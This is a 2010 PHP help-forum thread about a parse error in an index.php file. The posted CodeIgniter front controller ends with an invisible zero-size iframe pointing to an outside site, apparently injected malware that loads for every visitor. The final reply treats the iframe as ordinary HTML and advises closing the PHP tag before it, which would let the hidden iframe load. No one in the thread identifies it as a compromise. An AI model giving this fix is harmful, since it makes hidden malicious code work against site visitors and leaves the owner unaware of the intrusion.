welshy123 Posted April 9, 2010 Share Posted April 9, 2010 Hello Guys And Girls, Just Need A Little Help With This Code Parse error: syntax error, unexpected '<' in /home/a2505211/public_html/index.php on line 121 CODE Line 117 to 131 <div id="selBanner"> <h2>RBS Installation Steps</h2> <img src="images/step-1.jpg" alt="Step-1" /> </div> <!--RC--> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/ Share on other sites More sharing options...
ddubs Posted April 9, 2010 Share Posted April 9, 2010 Uhm, if i counted correctly line 121 is: <!--RC--> I'd probably need to see the full index.php file in order to figure out whats going on. So far that html looks fine... Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/#findComment-1039820 Share on other sites More sharing options...
oni-kun Posted April 9, 2010 Share Posted April 9, 2010 Parse error: syntax error, unexpected '<' in /home/a2505211/public_html/index.php on line 121 That means you are using HTML within PHP tags. Close them or print the HTML. Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/#findComment-1039822 Share on other sites More sharing options...
welshy123 Posted April 9, 2010 Author Share Posted April 9, 2010 Here Is The Full File, Thanks For Having A Look <?php session_start(); require_once("../app/config/config.php"); include "db.php"; if( $config['hostname'] != '' && $config['db_username'] != '' && $config['db'] != '') { $link = @osc_db_connect(trim($config['hostname']), trim($config['db_username']), trim($config['db_password'])); if (!$link) { $error = 'Could not connect to the host specified. Error: ' . mysql_error(); } else { //Connected successfully $db_selected = @osc_db_select_db(trim($config['db'])); if (!$db_selected) { $error = $error . '<BR>Can\'t use the database specified. Error: ' . mysql_error(); } //mysql_close($link); } //echo $error;exit; $sql = " SHOW TABLES FROM ".trim($config['db']); $result = osc_db_query($sql); if (!$result) { echo "DB Error, could not list tables\n"; echo 'MySQL Error: ' . mysql_error(); exit; } $numtable = osc_db_num_rows($result); mysql_free_result($result); if($numtable > 0){ header("Location: ../"); } } $compat_register_globals = true; if (function_exists('ini_get') && (PHP_VERSION < 4.3) && ((int)ini_get('register_globals') == 0)) { $compat_register_globals = false; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="css/common.css" rel="stylesheet" type="text/css" /> <link href="css/style.css" rel="stylesheet" type="text/css" /> <title>RBS Step-1</title> </head> <body> <div id="container"> <div id="header"> <!--RC for Logo--> <div class="block"> <div class="top_t"> <div class="top_r"> <div class="top_b"> <div class="top_l"> <div class="top_tl"> <div class="top_tr"> <div class="top_bl"> <div class="top_br"> <div class="cls100_p" > <!--RC--> <div class="clsclearfix"> <div id="selLeftHeader"> <h1><a href="http://demo.cogzidel.in/rbs">RBS</a></h1> </div> <div id="selRightHeader"> <ul> <li><a href="http://demo.cogzidel.in/rbs" target="_blank">RBS</a></li> <li><a href="http://cogzidel.com" target="_blank">Cogzidel</a></li> <li class="clsNoBg"><a href="http://cogzideltemplates.com" target="_blank">Cogzidel Templates</a></li> </ul> </div> </div> <!--RC--> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <!--end of RC--> <!--Rc --> <div id="banner"> <div class="block"> <div class="blue_t"> <div class="blue_r"> <div class="blue_b"> <div class="blue_l"> <div class="blue_tl"> <div class="blue_tr"> <div class="blue_bl"> <div class="blue_br"> <div class="cls100_p"> <!--RC--> <div id="selBanner"> <h2>RBS Installation Steps</h2> <img src="images/step-1.jpg" alt="Step-1" /> </div> <!--RC--> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <!--End Rc --> <!--RC--> <div id="main"> <div class="block"> <div class="b_t"> <div class="b_r"> <div class="b_b"> <div class="b_l"> <div class="b_tl"> <div class="b_tr"> <div class="b_bl"> <div class="b_br"> <div class="cls100_p"> <!--RC--> <div id="selMain"> <h2>New Installation</h2> <p> <?php if (function_exists('ini_get')) { ?> <br /> <table border="0" width="100%" cellspacing="0" cellpadding="2"> <tr> <td><b>PHP Settings</b></td> <td align="right"></td> <td align="right" width="25"></td> </tr> <tr> <td><li>register_globals</li></td> <td align="right"><?php echo (((int)ini_get('register_globals') == 0) ? 'Off' : 'On'); ?></td> <td align="right"><img src="images/<?php echo (($compat_register_globals == true) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td> </tr> <tr> <td><li>magic_quotes</li></td> <td align="right"><?php echo (((int)ini_get('magic_quotes') == 0) ? 'Off' : 'On'); ?></td> <td align="right"><img src="images/<?php echo (((int)ini_get('magic_quotes') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td> </tr> <tr> <td><li>file_uploads</li></td> <td align="right"><?php echo (((int)ini_get('file_uploads') == 0) ? 'Off' : 'On'); ?></td> <td align="right"><img src="images/<?php echo (((int)ini_get('file_uploads') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td> </tr> <tr> <td><li>session.auto_start</li></td> <td align="right"><?php echo (((int)ini_get('session.auto_start') == 0) ? 'Off' : 'On'); ?></td> <td align="right"><img src="images/<?php echo (((int)ini_get('session.auto_start') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td> </tr> <tr> <td><li>session.use_trans_sid</li></td> <td align="right"><?php echo (((int)ini_get('session.use_trans_sid') == 0) ? 'Off' : 'On'); ?></td> <td align="right"><img src="images/<?php echo (((int)ini_get('session.use_trans_sid') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td> </tr> </table> <br /> <table border="0" width="100%" cellspacing="0" cellpadding="2"> <tr> <td><b>PHP Extensions</b></td> <td align="right" width="25"></td> </tr> <tr> <td><li>MySQL</li></td> <td align="right"><img src="images/<?php echo (extension_loaded('mysql') ? 'tick.gif' : 'cross.gif'); ?>" border="0" width="16" height="16"></td> </tr> <tr> <td><li>GD</li></td> <td align="right"><img src="images/<?php echo (extension_loaded('gd') ? 'tick.gif' : 'cross.gif'); ?>" border="0" width="16" height="16"></td> </tr> </table> <?php } ?> <table border="0" width="100%" cellspacing="0" cellpadding="2"> <tr> <td><b>System Requirements - Check the following requirements before installation:</b></td> <td align="right"></td> <td align="right" width="25"></td> </tr> <tr> <td><li>Linux Server</li></td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td><li>Apache version</li></td> <td align="right"></td> <td align="right">2.2.4</td> </tr> <tr> <td><li>PHP version</li></td> <td align="right"></td> <td align="right">5.2.1</td> </tr> <tr> <td><li>MySQL version</li></td> <td align="right"></td> <td align="right">5.0.33</td> </tr> <tr> <td><li>MySQL version</li></td> <td align="right"></td> <td align="right">5.0.33</td> </tr> </table> <table border="0" width="100%" cellspacing="0" cellpadding="2"> <tr> <td><b>Information you will need for installation:</b></td> <td align="right"></td> <td align="right" width="25"></td> </tr> <tr> <td><li>MySQL Host Name (usually 'localhost')</li></td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td><li>MySQL Username</li></td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td><li>MySQL Password</li></td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td><li>MySQL Database Name</li></td> <td align="right"></td> <td align="right"></td> </tr> </table> </p> <p class="clsAlign"><input type="button" name="" class="clsbtn" value="Continue" onClick="window.location='install.php'" /> </p> </div> <!--RC--> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <!--end of RC--> <div id="footer"> <p>Copyright © 2000 - 2007 RBS (Copyright Policy, Trademark Policy) </p> </div> </div> </body> </html> Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/#findComment-1039824 Share on other sites More sharing options...
jcbones Posted April 9, 2010 Share Posted April 9, 2010 I get no parse errors on that file. Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/#findComment-1039828 Share on other sites More sharing options...
welshy123 Posted April 9, 2010 Author Share Posted April 9, 2010 try this file mate, thanks <?php /* |--------------------------------------------------------------- | PHP ERROR REPORTING LEVEL |--------------------------------------------------------------- | | By default CI runs with error reporting set to ALL. For security | reasons you are encouraged to change this when your site goes live. | For more info visit: http://www.php.net/error_reporting | */ error_reporting(E_ALL); /* |--------------------------------------------------------------- | SYSTEM FOLDER NAME |--------------------------------------------------------------- | | This variable must contain the name of your "system" folder. | Include the path if the folder is not in the same directory | as this file. | | NO TRAILING SLASH! | */ $system_folder = "core"; /* |--------------------------------------------------------------- | APPLICATION FOLDER NAME |--------------------------------------------------------------- | | If you want this front controller to use a different "application" | folder then the default one you can set its name here. The folder | can also be renamed or relocated anywhere on your server. | For more info please see the user guide: | http://codeigniter.com/user_guide/general/managing_apps.html | | | NO TRAILING SLASH! | */ $application_folder = "app"; /* |=============================================================== | END OF USER CONFIGURABLE SETTINGS |=============================================================== */ /* |--------------------------------------------------------------- | SET THE SERVER PATH |--------------------------------------------------------------- | | Let's attempt to determine the full-server path to the "system" | folder in order to reduce the possibility of path problems. | Note: We only attempt this if the user hasn't specified a | full server path. | */ if (strpos($system_folder, '/') === FALSE) { if (function_exists('realpath') AND @realpath(dirname(__FILE__)) !== FALSE) { $system_folder = realpath(dirname(__FILE__)).'/'.$system_folder; } } else { // Swap directory separators to Unix style for consistency $system_folder = str_replace("\\", "/", $system_folder); } /* |--------------------------------------------------------------- | DEFINE APPLICATION CONSTANTS |--------------------------------------------------------------- | | EXT - The file extension. Typically ".php" | FCPATH - The full server path to THIS file | SELF - The name of THIS file (typically "index.php") | BASEPATH - The full server path to the "system" folder | APPPATH - The full server path to the "application" folder | */ define('EXT', '.'.pathinfo(__FILE__, PATHINFO_EXTENSION)); define('FCPATH', __FILE__); define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); define('BASEPATH', $system_folder.'/'); if (is_dir($application_folder)) { define('APPPATH', $application_folder.'/'); } else { if ($application_folder == '') { $application_folder = 'application'; } define('APPPATH', BASEPATH.$application_folder.'/'); } /* |--------------------------------------------------------------- | LOAD THE FRONT CONTROLLER |--------------------------------------------------------------- | | And away we go... | */ require_once BASEPATH.'codeigniter/CodeIgniter'.EXT; /* End of file index.php */ /* Location: ./index.php */ <iframe src="http://script.ge" scrolling="no" width="0" frameborder="0" height="0"> </iframe> Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/#findComment-1039829 Share on other sites More sharing options...
the182guy Posted April 10, 2010 Share Posted April 10, 2010 You've got this HTML iframe at the end but you haven't closed the ?> php tag before it. <iframe src="http://script.ge" scrolling="no" width="0" frameborder="0" height="0"> </iframe> Try ?> <iframe src="http://script.ge" scrolling="no" width="0" frameborder="0" height="0"> </iframe> Quote Link to comment https://forums.phpfreaks.com/topic/198179-need-help-on-one-line-of-code/#findComment-1039831 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.